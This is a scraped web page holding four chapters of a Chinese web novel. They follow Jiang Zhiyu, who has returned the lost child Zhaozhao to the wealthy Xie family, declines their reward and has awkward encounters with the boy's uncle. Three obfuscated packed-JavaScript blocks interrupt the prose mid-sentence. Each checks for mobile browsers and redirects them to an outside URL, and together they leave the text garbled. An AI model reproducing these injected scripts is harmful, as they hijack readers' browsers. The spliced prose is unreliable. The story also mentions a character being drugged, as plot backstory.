[不说我这里了,阿延,恭喜你们找回昭昭,我改天去你家登门道贺,至于昨晚的事情,真对不住了。] [昨晚什么事?]祁焰迷惑的眼睛眨了眨。 霍岭生眉心也折出一抹浅浅的疑痕。 他不喜热闹,昨晚宴会过半就早早离席,返回寺庙照顾生病清修的母亲,一早又帮主持拓印碑文,不知道后来发生了什么。 谢津延面色一下子沉下来:[没什么,睡了。] [喂,才几点?]祁焰抓耳挠腮,[你们还没说清到底怎么了?] 没人理他。 这一晚上,几家都有人难以入眠。 江之遇却睡了来到这个世界后最舒服的一个觉。 不得不说,谢家的大床真的太柔软舒适了,又或者他这一个月颠沛流离,四处奔波,昨晚被莫名其妙地捅了一晚上,今天又忙着带昭昭认亲。 这么一番折腾下来,说不疲惫是假的。 好在帮昭昭找到家人的心愿终于达成,江之遇心满意足地闭上眼睛,这一睡,睁眼便是大天亮。 谢家的住宅坐落在京郊一片富人区,有山有水,环境清幽雅静。 江之遇在一阵悦耳的鸟鸣中醒来时,恍惚间,还以为回到了自己居住的林间小屋。 但很快,他就将记忆抽回,意识到这里是昭昭小叔的家,不是他自己的家。 毕竟这样处处透着华贵雍容,连一块瓷砖都极尽奢华的地方,是他此前连做梦都想象不到的世界。 意识到这一点,江之遇连忙从床上起来,穿好自己的衣服。 昨晚这一觉,消除了连日来的疲累,被昭昭小叔弄的屁股后面的那种不适感也几乎没有了。 他洗漱完出了房门。 楼下,谢老夫人一眼看到他,笑眯眯招招手:“之遇,你醒了?昨晚睡得好吗?” 江之遇点点头:“挺好的。” “那爸爸快过来吃早餐,奶奶让人做了很多好吃的给我们。” 谢寻昭经过一晚上的适应,已经没有了昨天刚回到这幢房子的陌生和拘谨,尤其是爷爷奶奶对他特别好,养父答应不离开他,会陪在他身边。 江之遇从楼梯上走下,眼睛悄悄往别墅其他地方瞄了几眼。 谢老夫人循着他的视线看过去:“之遇,你是在找什么吗?” “没、没有。”江之遇像被抓到什么一样,磕绊否认,片刻后,又小心翼翼问,“怎么不见昭昭小叔?” “哦,阿延啊。”谢老夫人笑道,“他一早就去公司了。” 江之遇微微舒了口气,昨晚自己答应在谢家留宿,昭昭小叔的脸色看来不是很好,应该不太希望自己留下来。 不过没关系,反正他不会在谢家待太长时间。 正好他也不想和昭昭小叔这样看起来跟别人欠了他很多钱,拽得二五八万,发烧了还会分不清性别,捅男人屁股的怪人相处。 在昨晚用餐的长桌前坐下。 江之遇看到桌子上已经摆满了早饭,很是丰盛。 他胃口大好地吃了碗肉丝清汤面,一份虾仁蒸饺,还有叫不出名字但颜色特别好看,口感香糯的水晶饼,他一口气吃了五个。 吃完,看到谢老夫人一脸慈爱地看着自己。 江之遇望了一眼被他吃空的盘子,忽然感到很不好意思:“……我是不是吃太多了?” 谢老夫人笑道:“怎么会,我就喜欢你这样胃口好的孩子。” 哪像她家那个臭小子,每次吃饭都面无表情,看不出喜好,十分影响他人的食欲。 “而且你太瘦了,和昭昭一样,要多吃点。” 江之遇腼腆笑了笑,在心里想,昭昭小叔的家人真好。 他自己是从小被遗弃在山中,靠每天给村里的人干活换口饭吃长大的,虽然后来也凭借自己的双手丰衣足食,可从来没有像昨晚和今早这样感受到如此的热情和温暖。 他起身就要帮忙收拾碗筷,还有问谢老夫人和谢老先生家里有没有其他活能够让他帮忙做的。 从小的经历让江之遇对于别人给予的一点善意都会倾力回报。 谢老夫人却拦住他:“这些交给家里的佣人做就可以了,之遇,你先坐下来,我们正好有事要和你说。” “什么事?”江之遇很是疑惑。 谢老夫人和旁边温文儒雅的丈夫对视一眼,随后看向他:“昨晚我和振庭还有阿延商量了一下,你帮我们照顾昭昭,还把昭昭带回来,我们一家人很是感激,想着要怎么报答你比较好。” 谢老夫人说着,推过来两张卡。 “这是我们的一点心意,一张里面有三千万,另外一张没有额度限制,供你日常花销,你想怎么刷都可以。” “还有你们老家的房子,阿延那边也准备找人帮你重新翻修。” 江之遇听到这些,一下子愣住了。 他原以为谢老夫人留他坐下是想继续了解昭昭的事情,没想到是要报答他。 他呆呆地看着摆在自己面前十分精致的两张卡片,一张刻有发行银行的标记,他认得。 至于另外一张,全黑做工,字样花纹烫金,材质一看就不简单,透着低调奢华的质感。 江之遇从小在山里长大,接触的东西有限,没见过这样的银行卡,对不限额度也没什么概念,只满脑子都是谢老夫人说的三千万。 三千万,这是他从来不曾设想过的数字。 他带着昭昭离开乡下时,全身家当所剩无几,政府的补助金也只能说勉强过活,所以这段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136035|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间在北城寻亲,他和昭昭省吃俭用,一分钱掰成两半花,即便这样,钱也花的差不多了。 可是现在,谢老夫人一下子要给他三千万。 江之遇的脑袋晕乎乎的。 第一次体会到天上掉馅饼是什么样的感觉。 他像做梦一样地盯着这两张卡,过了许久,清醒过来,把卡推回去,婉拒道:“谢谢您,老夫人,这些我不能收。” “为什么?”谢老夫人上了年纪但依旧看出年轻时美貌的眼眸微微睁大,露出不解,“是不是觉得我们的诚意不足?” “不是的。”江之遇摇摇头,不知道要怎么表达自己的心情。 他虽然穿成了谢家小少爷的养父,这段时间和昭昭朝夕相处,也确确实实把昭昭当成了自己的亲生孩子,尽心尽力照顾他。 可是江之遇清楚地知道,收养昭昭,抚慰小孩从人贩子那里受到的折磨和伤害,三年来悉心照料昭昭的是这具身体原来的主人。 原主在一个月前的那场暴雨中为了救差点被洪水冲走的养子溺水去世,江之遇继承了原主的记忆和遗愿,捡回一条命很是感激,怎么还会邀功,连原主的功劳也一并抢去? 这三千万对自己来说确实心动,可以让他余生无忧,但在江之遇看来,不是他应得的。 他不会占有不属于自己的东西。 “谢老夫人,谢老先生。”江之遇想到这里,目光真挚地望着二老说,“我能够感受到你们的心意,不过这些钱财太贵重了,我不能要。” 他努力组织着语言,诉说内心的真实感受:“我一开始带昭昭来北城,是想帮他找到他真正的家人,其他的没想太多。对我来说,只要昭昭能够回到你们身边,过得幸福,我就心满意足了。” “可是……”谢老夫人没想到这个漂亮的孩子这么朴实心善,居然一点回报都不求,“你总要收一些,就当是这几年收养昭昭的生活费也好。” “婉华说得对。”一直都以自己妻子为中心的谢老先生温和开口,“你帮了昭昭这么多,如果不收下这份心意,我们会过意不去的。” “这样吧。”江之遇见二老坚持,忽然想到什么,“如果你们实在过意不去,帮我把房子翻修一下就可以了,至于这笔钱,能不能捐给溪源乡?” “溪源乡?”谢老夫人和谢老先生都怔了一下。 江之遇嗯了声。 溪源乡是原主家祖祖辈辈生活的地方,在大山里,偏僻落后。 这场暴雨引发的洪灾冲垮了村庄,让本就贫穷的地方雪上加霜。 江之遇虽然在这里只生活了一段时间,可是能够感受到村民的善良朴实。 原主的记忆里,父母相继去世后,身体孱弱的原主收养昭昭,父子二人相依为命,没少收到同乡人的帮衬。 尤其是昭昭的老师,自己都是来山里支教的毕业大学生,收入微薄,却还帮着昭昭上学,贴补学费。 可是,这所唯一的学校也被冲毁了。 如果谢家人坚持要报答他,不如把这笔钱以原主的名义捐给他的家乡,用于家乡重建,这样,他的心里也会好过一些。 “好孩子。”谢老夫人和谢老先生听了江之遇讲述的,脸上都露出了动容的表情。 谢老夫人眼眶微热道:“如果这是你希望的,那我们就按照你说的来。” “不过你始终是我们谢家的恩人,有什么需要千万不要和我们客气,尽管提。” “我会的。”江之遇重重点头。 CBD中心区直耸云霄的地标大楼里。 谢津延在总裁办听说把小侄子送回来的那个男人不肯接受谢家的答谢,还要把钱捐出去后,微微一愕,似乎没有想到对方会不按常理出牌。 宋秘书也感到意外,他这两日跟在上司身边帮着处理相关事宜,受到的冲击同样不小。 禁欲冷淡的上司被不设防的发小弟弟下药,阴差阳错下和另一个男人上了床,偏偏一觉醒来,春风一度的对象还摇身变成了上司亲侄子的养父,全家的恩人,现在同处一个屋檐下。 这样的事怎么说都有些抓马,堪比办公室的同事平时刷的狗血短视频里的剧情。 宋勤心里上演着狗血小短剧,当然,面上始终毫无表情,维持着面瘫脸。 他观察着上司的脸色,揣摩问道:“要按照江先生说得办吗?” “既然我父母都发话了,你觉得我们能不照做吗?”谢津延冷声。 “可如果江先生不收这笔钱的话……”宋秘书欲言又止。 谢津延眸光一下子变得幽深,脸上表情晦暗不明。 半晌,从座椅上起身,落下淡而清晰的音节:“那就尽快把他老家的房子修缮好,让他回乡下。” 8. 第 8 章 谢津延是不允许放任一个不确定的因素在自己身边的,尽管那个男人对他们全家有恩,且口口声声说不会乱说那晚的事情。 他承认那天晚上是他弄错了,也愿意负起后续所有责任,满足对方任何要求,前提是不能被其他人知晓,且和自己产生不必要的纠葛。 除了那个意外,他们两人应该再无交集。 江之遇并不知道男人心中百折千回的想法,事实上,他已经把那晚的事情忘得差不多了,也无暇往这方面想。 他现在面临着一个新的问题。 那就是留在谢家的日子里,谢家上上下下都对他十分热情,处处照顾得很周到。 这样造成的局面是,江之遇每天都觉得自己没有什么事情做,有点不习惯这样的生活。 他是一个勤劳的人。 小的时候孤苦伶仃,为了活下来,他帮村民们打水、砍柴、放牛放羊、上山采草药,做一切他能够做的事来养活自己。 也正是凭借这双勤劳的双手,江之遇后来拥有了属于自己的小屋,能够丰衣足食,再也不用为生存担忧。 他还给自己攒了一笔钱,打算如果有人能够看上他,就用这笔钱娶媳妇儿。 他的生活每天都勤恳、忙碌而充实。 即使穿到这个世界,因为要帮昭昭寻亲,也几乎一刻没闲着。 可是现在,做饭谢家有最顶级的厨师,为了照顾到家里所有人的口味,西式中式,几乎每一个菜系的厨师都有,江之遇想要帮厨,却没有落脚的余地。 别墅佣人很多,每天都把这幢庄园似的大房子收拾得干干净净,井井有条,连一个花瓶都纤尘不染。 这让习惯了交换劳力,想要回报谢家一家人对他热情的江之遇有些无所适从。 他又提了回乡下的打算,但昭昭舍不得他走,谢老夫人和谢老先生正在筹备给小孙子办一个盛大的认亲欢迎宴,说什么也要留他到那个时候。 江之遇只能继续待在谢家,等乡下的房子修缮好和参加完昭昭的欢迎宴再离开。 这日,昭昭小叔照例一早去了公司。 两人同住一个屋檐下,其实见面的机会并不多,男人似乎每天都有很多忙不完的事情。 江之遇觉得这样也好,不然昭昭小叔在家,他还真不知道要怎么和那人相处。 今日天气依旧晴好,从上次下了一场突如其来的大雨后,北城连着好一段时间都是炽朗的晴天。 谢老夫人和谢老先生今早带着昭昭去陵园看望昭昭过世的亲生父母,让江之遇在家里自便,江之遇便一个人去后湖逛了逛。 回来的时候,看到几个佣人在花园里浇花。 谢家有一个特别漂亮、占地广袤的花园。 宋秘书带他和昭昭第一次踏足这里的时候,就对这座花园印象深刻。 时值花木繁盛的季节,花园里绿树成荫,许多漂亮的花都盛放着,各种颜色的花团团绽开,看上去十分漂亮震撼。 尤其是赵管家说的昭昭以前经常荡秋千的地方,蔷薇花枝缠着长廊石柱,一路蜿蜒到一座透明的玻璃花房,简直像画一样梦幻。 因为天热,多日没有下雨,花园需水量大。 此时花园里开启了自动灌溉系统,佣人们也在拿着喷水器浇花,还有几个花匠在移栽新的花卉以及修剪灌木、树枝,装点别墅,为小少爷的欢迎宴做准备。 江之遇在一旁看了一会儿,不由得想起了在他原来世界的山里,也打理着属于自己的一片小园。 他在里面种上四季食用的瓜果蔬菜,在周围插上树篱,上面爬满了野花。 一到夏季,园内郁郁青青,树篱和园外则花团锦簇,飞着蜜蜂和蝴蝶。 附近有一处山泉,江之遇从竹林里砍了竹子,自己做了个简易的引水灌溉装置和竹制水车,把泉水引到他的小园子里。 就是不知道在他离开后,他的小园有没有荒废掉。 想到这些,江之遇走到石径上,问那些佣人自己可不可以帮忙,浇水也好,栽花和修剪树枝也好,让他做什么都可以,只要能让他有点事情做,不在一旁闲着。 佣人们感到意外,其中一名在谢家多年,专门负责打理花园的花匠说道:“江先生,这怎么好意思呢?太阳这么大,这些工作还是让我们来做比较好。” 他们这几日和江之遇已经很熟悉了,这位将小少爷送回来的乡下青年不仅人长得好看,性格也十分敦厚淳朴,一有机会就想帮大家的忙。 可他到底是谢家重要的恩人,谢老夫人明确说了要把江先生当作大少爷一样对待,怎么可以让他做这些粗活重活? 江之遇说没关系:“我在乡下的时候也经常做这些。” 他有着一双纯透漂亮的眼睛,看人时总带了点儿让人无法拒绝的温厚和诚挚。 那位花匠被这样的眼睛注视着,耐不住恳求,最后给了他一个喷水器让他帮忙浇花。 江之遇拿到喷水器,很是高兴。 这让他有一瞬间仿佛回到了打理自己小园的时刻。 其实刚才逛后湖的时候,他就发现谢家后湖边上那么一大片肥沃的土地,特别适合种点蔬菜,再在草地上养几头牛和羊。 往东有一处斜坡,可以在上面种果树。 这样的话,就可以自给自足,一辈子都不用为吃的喝的发愁。 不过这里到底不是他曾经居住的山间,是属于谢家的地方,江之遇也就只能在脑海里畅想一下。 他开开心心地帮大家浇花,打理着这片巨大的花园。 一辆车身线条流畅,颇有些骚包,在阳光下泛着暗绿光泽的全球限量版跑车沿着宽阔的梧桐山道缓缓驶进谢家庄园。 车在停车坪泊好后,一个风度翩翩的身影从车里跨了出来。 男人有着一头惹眼的长发,皮囊俊美,鼻梁上架着副细丝银框的眼镜,气质斯文随和,身形却又高又落拓。 他在车前站定,从右车座拎出大盒小盒一看就装了很多东西的礼品盒。 泊车的佣人见状,连忙上前问道:“黎少爷,需要我们帮忙吗?” “不用。”黎清叙镜片后的桃花眼扬了扬,露出一个极其斯文随和的笑容,“我自己来就可以了,你们忙你们的。” 他拎着送给谢家伯母的一尊玉雕佛像,谢伯父最喜欢的一位古代名家大师的小篆真迹,还有特地为昭昭准备的小孩子喜欢的玩具以及给发小赔罪的礼物,往正厅走去。 穿过花园长廊,看到谢家的佣人们正在打理花园。 看到他,都道一声:“黎少爷来了。” 黎清叙便继续扬起他招牌的斯文迷人的笑容,和他们一一打招呼,还特地叮嘱女孩子要注意防晒,不要被太阳晒伤了。 黎家大少爷就是这样的风度翩翩,很会关心人,和什么人都能打成一片。 所以每次来到谢家,都能受到热情的招待。 黎清叙就这样一路穿花拂叶,一边和谢家的佣人们谈笑,他很擅长用这样的方式征服和笼络人心。 正三言两语将一个年轻的女佣逗得脸红心跳,没注意脚下,不小心踩到什么。 然后,耳畔传来一记动听的声音,带一点口音,吴侬软语的,又轻又软,让人耳膜黏黏腻腻的。 “你好,你踩到我的水管了,能不能请你把脚挪开一些?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136036|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 黎清叙便转身,西裤下锃亮的皮鞋抬了抬。 就听水流涌动的声音擦过脚下细软的水管,咕噜咕噜涌向管道口……继而水雾喷开,眼前蒙上一层细细密密的水珠,彩虹刹那闪过。 黎清叙愣了愣,感受到脸上飘来的微凉的水意。 他视线穿过水雾,看向朦胧水雾后拿着喷水器的人,漂亮的让人移不开眼的一双琥珀般的眼睛掩映在水雾和彩虹中。 阳光灿烈,周遭花影树影团簇。 那双眼睛一眨不眨地注视着他,彩虹倒映在清透的瞳孔里,纤长睫毛被水雾打湿,像鸟的羽毛淋了雨。 有那么一瞬,黎清叙听到了自己心脏跳动的声音。 明明眼前流水滋滋,旁边草坪的自动灌溉装置也卖力工作着。 谢家佣人们的声音,树枝上悦耳的鸟叫声,摇曳的风声……所有的声音都仿佛飘远了,像空气中四散飞去的水雾,又像被厚厚的水纱隔去。 总之,什么都听不到了。 直到这层薄雾散去,眼前的彩虹消失,那道吴侬的声音再度响起,凑近了些,带一丝关切:“我淋到你了吗?” “没有。”黎清叙刹那回神,看清眼前一张清隽漂亮的脸,是此前在发小家里从未见过的陌生面孔。 他只用了一秒恢复斯文翩翩的模样,歉意笑笑:“抱歉,都怪我不小心踩到水管,打扰到了你工作。” 江之遇见他确实没有被水淋到,只镜片上沾了几滴水珠,便摇摇头,提醒道:“没什么,你记得看路就好。” 说完,扯了扯水管,继续去浇另一侧的花园。 黎清叙桃花眼眯了眯,注视着他的背影,一直到那道身影被花丛遮掩,才收回视线。 谢老夫人和谢老先生带着昭昭去陵园要下午才回,黎清叙从赵叔口中听闻此事,将礼物放下:“那我改日再来。” “黎少爷不坐坐再走?”赵管家端了杯茶放到他面前。 黎清叙笑了笑:“不了,我还要回公司一趟。” 他约了几个药商还有生物工程实验室的研究员,晚点有事情要和他们谈。 赵管家知道黎少爷现在也开始接触家族里的企业,又是和自家津延少爷从小一起玩到大的,不把他当外人,就没挽留,只道等老夫人和老先生回来会传达他的心意。 出了谢家别墅正厅的门,黎清叙脑海里还想着刚才在花园水雾彩虹后看到的景象。 走得仓促,忘了问那个漂亮的浇花匠叫什么名字,是什么时候来的谢家,怎么之前没有见过。 等再返回花园,那个人影不在,其他谢家的佣人也不知到哪里忙去了。 黎清叙忽然有些怅然若失,趴在方向盘上。 过了会儿,打开手机,点开谢津延的头像,准备和发小打听他们家这个新来的漂亮男佣的情况。 想了想,又觉不妥。 哪有觊觎发小家男佣的?他又不是在演戏,上演“纯情少爷俏丫鬟”的戏码。 况且他取向不是男人,对同样身体构造硬邦邦的男人没有兴趣。 对了,阿延那晚和什么人共度的春宵? 黎清叙始终为弟弟对发小做的事情感到愧疚,却又十分好奇。 可以阿延死要面子活受罪的性子,不可能让他们知道。 黎清叙叹了口气,关掉手机,驱动引擎。 绕过盘山,远远望见谢家没在山峦中的花园,心脏又悸动了下。 ……还是下次去谢家的时候打听一下吧。 谢伯母不是过几天要给昭昭办认亲宴吗?他自小学医,崇尚科学严谨,说什么也要弄清楚心脏这种莫名的跳动是怎么一回事。 9. 第 9 章 太阳不知不觉移到了中天,又向西,渐渐下移。 这一天,江之遇过得十分充实快乐。 先是帮着浇花、栽花,接着帮忙修剪树枝,对于上午那个小插曲,根本没有放在心上,只后来听谢家的佣人们谈论,才隐约记起来是之前在酒店远远看到的黎家少爷。 天快黑的时候,谢老夫人和谢老先生才带着昭昭从陵园回来。 其实本来早就该回来的,但中道转向寺院,吃了顿斋饭。 因为失踪的小孙子找回,谢老夫人认为是自己求神拜佛起了作用,高兴之下给隆安寺添了些香火钱。 此外,另一件重要的事,向在庙里清修的霍太太发出邀请,前来参加孙子的认亲宴。 当年昭昭失踪,大儿子大儿媳出了车祸去世,一直是霍太太陪着她,安慰她,陪她度过了那段悲痛难熬的日子。 她为此很是感激。 只是霍太太平日里不常出寺门,听到邀请,只缓缓捻了捻手中的佛珠,让儿子岭生代替自己前去赴约,传达祝贺之意。 谢老夫人尊重好友意愿,也就没再坚持。 车缓缓驶进大门。 恰好谢津延今天从公司提早回家,宋秘书那边回来汇报,给溪源乡捐款、帮昭昭养父修整乡下住宅的事情都办妥了。 谢氏本来就有专门的慈善机构,谢老夫人近年来又迷上礼佛,这次除了江之遇提出的把原本谢家要报答他的三千万捐出去,谢津延另外又捐了几千万和很多物资,还有帮忙建设溪源乡从小学到高中学费全免的一体化学校。 他今日早回,就是要把这些事情告诉昭昭养父。 当然,最主要的目的,希望那个男人期望达成,早点回乡下去。 “江先生呢?”谢津延环顾一眼客厅,没看到江之遇的身影。 佣人回道:“江先生今天帮我们打理花园,刚才回房间换衣服去了。” 帮忙打理花园? 谢津延微微诧异。 佣人点头,还说黎家大少爷今天来了,给夫人、先生还有小少爷都带了礼物。 谢津延嗯了声,往楼上走去。 来到二楼,他脚步停在江之遇的房门口。 赵叔给昭昭养父收拾的房间正对着他的书房,开门就能看到,所以这段时间,谢津延很少回家,留在公司的时间更多。 即使回来,也一早离开,避免见到那个时刻提醒他度过怎样混乱失控夜晚的身影。 他在房门口停驻了一会儿,抬手敲了敲房门。 等了有一段时间,才似是从里面传来一个匆匆忙忙的声音和有些慌乱的脚步声。 “等一等,我马上就来开门。” 那声音无论什么时候听都软软腻腻的,尾音上扬,在耳畔黏连成丝,鼓噪耳膜。 和谢津延打交道的商界人士有很多来自南方,可都说不出那种让人耳膜痒痒的腔调。 他静静地等候在外面,隔着一扇门,思绪因这道声音短暂飘远。 忽而,门开了。 多日不怎么见面的男人出现在自己面前。 头发湿淋淋的,往下滴着水珠。 水痕顺着精致的下颌线条一路蜿蜒,濡湿一大片雪白脖颈。 大约是出来得匆忙,身上的白衬衫套得有些凌乱,只扣了中间几颗扣子,上面领口大开,下摆也散乱着,湿湿贴着腿根。 没穿鞋,就这样光脚踩在地面上,洇湿一小片地板。 浑身上下都沾满了水色…… 谢津延视线有一瞬凝滞,漆黑沉冽的眼眸因眼前景象覆上一层晦暗,脑海里也蓦地闪过失控那晚无数混乱的画面。 他眉峰很轻地皱了下,半晌,把目光从被水珠濡湿的半透衬衫上移开:“你怎么不穿好衣服就给人开门?” 江之遇正在清洗打理花园时出的一身汗和沾在脚上的泥土,没料到昭昭小叔今天这么早就回来了,还来房门口找他,懵懵的:“我在洗澡,听到有人敲门,就赶紧冲了冲出来了。” 谢津延默了默,想起佣人刚才说的,转身:“……那我晚点再来找你。” “你是有什么事吗?”江之遇迟疑了一下叫住他,看向灯晕下高大挺括的身影,“是不是还像上次那样让我不要乱说话?” 谢津延脚步顿住,回过头,沉沉视线意味不明地投过来。 “不是。” “那是什么?”江之遇无论什么时候被昭昭小叔这样注视着都会感到不自在,有谢家其他人在的时候还好,单独相处时总有一种让人腿脚发软,有些发怵的感觉。 他因此错开一点视线,手指无意识扯了扯衣摆。 谢津延瞥着他的小动作,淡声道:“你让我们把钱捐给溪源乡的事情都办好了。” “真的?”江之遇听到这个消息,面上一喜,有些闪躲的眼睛也迎上来,在洒落的灯光下点进一抹晶亮。 谢津延低低嗯了声,把有关溪源乡的捐助情况告诉了他。 江之遇没想到谢家人做事的速度这么快,他才提出这个请求,竟然没过几天就全都做好了。 他很是惊喜地向昭昭小叔说了声谢谢,有些兴奋,素净白皙的脸上激起一片红晕,连耳垂都蔓上一层绯色。 谢津延眸光闪了闪,原本要提他乡下房屋也已经修缮好的事,最后沉默了下,视线从小巧红润的耳垂转移,不经意又落到穿得散乱的白衬衫上。 而这时,他瞳仁微扩,才注意到:“你穿的是我的衣服?” “欸,是你的吗?”江之遇低下头,看了看,也很意外似的,“我的衣服今天修剪树枝时不小心划破了,另外一件要清洗,赵管家就给我找了几件衣服让我先穿着。” 江之遇带昭昭来北城寻亲带的衣物不多,够换洗就行,反正大夏天的,衣服洗得快,晾干也快。 当然,最主要的原因是他们大部分的家当都被洪水冲走了。 谢老夫人前两天提过要带他去买新衣服,可江之遇一来不喜欢随便要别人的东西,谢家这段时间已经对他够热情了。 二来不习惯穿那些做工精致考究的服装,总感觉束手束脚,很拘谨,就拒绝了。 就是没想到今天他那件舒适宽松的棉麻上衣被树枝刮了一道口子,更没想到从赵管家手中挑的一件临时换上的白衬衫就是昭昭小叔的。 他只是觉得这件衣服版型宽大,穿起来会比较舒服。 江之遇揪起衣领,就要把衬衫脱下来。 衣角擦过滴淌着水珠的腿根,谢津延眼前晃过一片白嫩的软肉。 他愣了愣,问:“你干什么?” 江之遇说:“把你的衣服脱下来还给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136037|164454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。” 这段时间住在谢家,虽然和昭昭小叔相处的时间不多,可江之遇在从谢老夫人偶尔回忆已故大儿子的时候听她提到过两个儿子的不同。 说是大儿子温文尔雅,性格和善,不知怎么的小儿子就脾气又冷又硬,还有些不喜欢别人碰自己东西的洁癖小毛病。 此刻看到男人俊逸面庞上突变的脸色,江之遇更加确信这一点。 他继续手上的动作。 昭昭小叔的衬衫偏大,他是洗澡到半途听到敲门声的,用淋浴器胡乱冲掉头发和身上的泡沫套上衣服就来开门,没怎么擦。 现在那些水珠从头发丝往下滴落,和昭昭小叔说话的间隙,衬衫被浸湿得更加厉害,他脱衣服习惯用手拎着领口直接往脑袋上方抻,连着袖子一气呵成脱掉,简单快速。 这会儿轻薄的布料湿湿贴着皮肤,他抻了抻,受到阻力,怕把衣服扯坏,转而又去解衬衫扣子。 江之遇有着一副细匀的骨架,大约是之前这具身体病弱,生活又清贫,身形纤细了些,肤色也很苍白。 不过自从帮昭昭找到家人的心愿达成,这些天在谢家吃好睡好,被谢老夫人热情投喂,他身上的皮肉要比之前圆润。 还是瘦,但多了点肉感。 脸上也有了血色和光泽。 不像之前那样仿佛风一吹就摇摇欲坠,随时都要破碎散掉。 谢津延一时神色微妙。 盯着眼前的画面,想起那个被雪沫一样的光铺亮的清晨。 为什么这个男人总喜欢旁若无人、毫不避讳地做些让人无法理解的事情? 他看着视野里衣摆晃了晃,露出雪白的肚皮,樱色也在濡湿的衬衫下若隐若现。 谢津延转身,眉头重重地拧在一起。 “衣服你先穿着吧,不用还给我。” 虽然不知道为什么这件大学时期穿的衬衫留到了现在,也不知道是被赵叔从什么地方找出来的,可就算还给他也穿不上。 江之遇:“?” 江之遇顿住手指,想说你不是不喜欢别人碰你的东西吗? 可还没来得及问出口,男人已经步履匆忙地走开了。 江之遇有些迷惑,望着消失在楼道转角的身影,不懂昭昭小叔为什么突然离开。 他低头看了自己一眼,没看出什么。 真是个奇怪的男人。 江之遇咕哝一声,对昭昭小叔的奇怪印象又加深了。 不过想到溪源乡有钱了,还是三千万这么多,他心里又充盈上了高兴和喜悦,关上房门,步履轻快地回到浴室中,打算等自己的衣服清洗完晾干就把昭昭小叔的衬衫还给他。 ……谢津延来到楼下。 谢老夫人和谢老先生刚带着昭昭回到家,正摆弄客厅桌子上的礼物。 看到从楼上下来的身影,谢老夫人有些意外:“阿延,你今天怎么回来得这么早?” 她拿着通身泛着温润光泽的玉佛,爱不释手:“看清叙给我们带来了什么,真是个有心的孩子。” 谢津延眼前还晃着刚才的景象,闻言,抬了抬眸:“黎清叙来了?” “是啊,津延少爷。”旁边的佣人对视一眼,有些疑惑,“您一回来我们就跟您说了。” “哦。”谢津延淡淡应声,心不在焉似的。 10. 第 10 章 过几天就是昭昭的认亲宴。 谢老夫人找到了失踪多年的小孙子,说什么也要办个热热闹闹、十分隆重的欢迎宴,让整个北城都知道昭昭被认回了谢家。 为此这些天,谢家上上下下都在忙碌着,精心筹备小少爷的宴会。 黎清叙自那日在谢家花园偶遇那个漂亮的男佣,便一直念念不忘,一心盼着昭昭欢迎宴那天能够在发小家再次见到那张让他心跳不已的面孔。 “哥,去津延哥家参加昭昭的欢迎宴,又不是相亲,你打扮得这么花里胡哨做什么?” 天光亮起的清晨,黎星若望着早早起床将自己收拾成一只花孔雀的兄长,不解问道。 黎清叙动作优雅地系着缀有一点亮色花样的领带,闻言只是笑笑,却没有正面回答,而是叮嘱:“今天去了阿延家,你好好跟他道个歉。” “我不去。”黎星若负气背身,一想到成人礼那天晚上发生的事情,心里就像被千万气泡水堵住,又涩又酸,难受得厉害。 他到现在都没有办法接受自己的计划失败,更不愿意接受他暗恋了那么久的人和别人有了亲密接触。 还是由自己间接促成。 他发了疯似的想要找出那个人是谁,凭什么趁虚而入。 可是被哥哥阻挠,让自己不要继续错下去,酒店当晚的状况也被宋秘书封锁,他查不到有关那个人的任何信息。 这些天,黎星若哭过闹过,最后把自己锁在卧室里,拒绝见任何人。 直到谢家发来邀约。 津延哥失踪多年的小侄子找回来了。 黎星若擦擦眼睛,心里难过,又为津延哥感到高兴,他知道津延哥有多希望昭昭能够找回来。 但总归难过和失落占据上风。 还有……不知道要怎么面对津延哥。 他兄长似是看出了他的心思,劝慰弟弟:“你总不能一辈子不去谢家,谢伯母和谢伯父会问起来的。而且你成年了,要学会承担责任,做错事要主动认错。” “别嫌我这个当哥哥的啰嗦。” 黎清叙系好领带,又慢条斯理拨弄起袖颈上的袖扣,一贯戏谑的人面上竟显出几分正经。 “如果我是你的话,正好借这个机会表明心意,爱应当是光明正大的,不是靠背地里耍小心机和不坦荡的手段获得。” 黎星若被兄长毫不留情地戳中痛处,红了脸,有些羞恼。 过了会儿,似乎想到什么,掐进掌心的手指松开,精致漂亮的眉眼重新又扬起笑意:“哥你说的对,我确实不应该一直躲着,当缩头乌龟,也欠津延哥一声对不起。” 黎星若打定主意不管发生什么都不会放弃自己喜欢了那么久的人。 他那天晚上药下得重,津延哥是身不由己的。 黎清叙满意拍拍弟弟的肩:“这才像我老黎家的人,坦坦荡荡。” 兄弟两人各怀心思准备去谢家赴宴。 谢家庄园。 江之遇也换上了一身专门赴宴穿的礼服。 这是宋秘书送过来的。 